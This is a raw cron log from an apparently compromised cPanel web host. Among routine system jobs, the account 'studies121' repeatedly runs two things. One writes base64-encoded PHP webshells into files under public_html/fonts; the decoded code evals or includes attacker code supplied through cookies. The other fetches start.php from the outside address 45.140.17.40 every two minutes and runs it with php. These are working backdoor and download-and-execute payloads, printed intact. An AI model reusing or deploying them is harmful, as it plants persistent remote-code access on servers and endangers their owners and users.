Sep  4 01:43:01 ip-184-168-122-23 CROND[30322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:43:01 ip-184-168-122-23 CROND[30325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:44:01 ip-184-168-122-23 CROND[30399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:44:01 ip-184-168-122-23 CROND[30401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:44:01 ip-184-168-122-23 CROND[30402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:44:01 ip-184-168-122-23 CROND[30404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:44:01 ip-184-168-122-23 CROND[30405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:45:02 ip-184-168-122-23 CROND[30579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:45:02 ip-184-168-122-23 CROND[30578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:45:02 ip-184-168-122-23 CROND[30580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:45:02 ip-184-168-122-23 CROND[30577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:45:02 ip-184-168-122-23 CROND[30581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:45:02 ip-184-168-122-23 CROND[30582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:46:01 ip-184-168-122-23 CROND[30686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:46:01 ip-184-168-122-23 CROND[30688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:46:01 ip-184-168-122-23 CROND[30693]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 01:46:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:46:01 ip-184-168-122-23 CROND[30694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:46:01 ip-184-168-122-23 CROND[30689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:46:01 ip-184-168-122-23 CROND[30691]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:47:01 ip-184-168-122-23 CROND[30797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:47:01 ip-184-168-122-23 CROND[30799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:47:01 ip-184-168-122-23 CROND[30798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:47:01 ip-184-168-122-23 CROND[30800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:48:01 ip-184-168-122-23 CROND[30883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:48:01 ip-184-168-122-23 CROND[30888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:48:01 ip-184-168-122-23 CROND[30885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:48:01 ip-184-168-122-23 CROND[30887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:48:01 ip-184-168-122-23 CROND[30886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:49:01 ip-184-168-122-23 CROND[30987]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 01:49:01 ip-184-168-122-23 CROND[30988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:49:01 ip-184-168-122-23 CROND[30993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:49:01 ip-184-168-122-23 CROND[30992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:49:01 ip-184-168-122-23 CROND[30991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:50:01 ip-184-168-122-23 CROND[31198]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:50:01 ip-184-168-122-23 CROND[31203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:50:01 ip-184-168-122-23 CROND[31201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31208]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31207]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:50:01 ip-184-168-122-23 CROND[31206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:51:01 ip-184-168-122-23 CROND[31321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:51:01 ip-184-168-122-23 CROND[31323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:51:01 ip-184-168-122-23 CROND[31325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:51:01 ip-184-168-122-23 CROND[31324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:52:01 ip-184-168-122-23 CROND[31409]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:52:01 ip-184-168-122-23 CROND[31410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:52:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:52:01 ip-184-168-122-23 CROND[31414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:52:01 ip-184-168-122-23 CROND[31415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:53:01 ip-184-168-122-23 CROND[31501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:53:01 ip-184-168-122-23 CROND[31503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:53:01 ip-184-168-122-23 CROND[31504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:53:01 ip-184-168-122-23 CROND[31505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:54:01 ip-184-168-122-23 CROND[31592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:54:01 ip-184-168-122-23 CROND[31593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:54:01 ip-184-168-122-23 CROND[31596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 01:54:01 ip-184-168-122-23 CROND[31595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:54:01 ip-184-168-122-23 CROND[31597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 01:55:01 ip-184-168-122-23 CROND[31686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 01:55:01 ip-184-168-122-23 CROND[31688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:55:01 ip-184-168-122-23 CROND[31690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:55:01 ip-184-168-122-23 CROND[31691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:55:01 ip-184-168-122-23 CROND[31689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
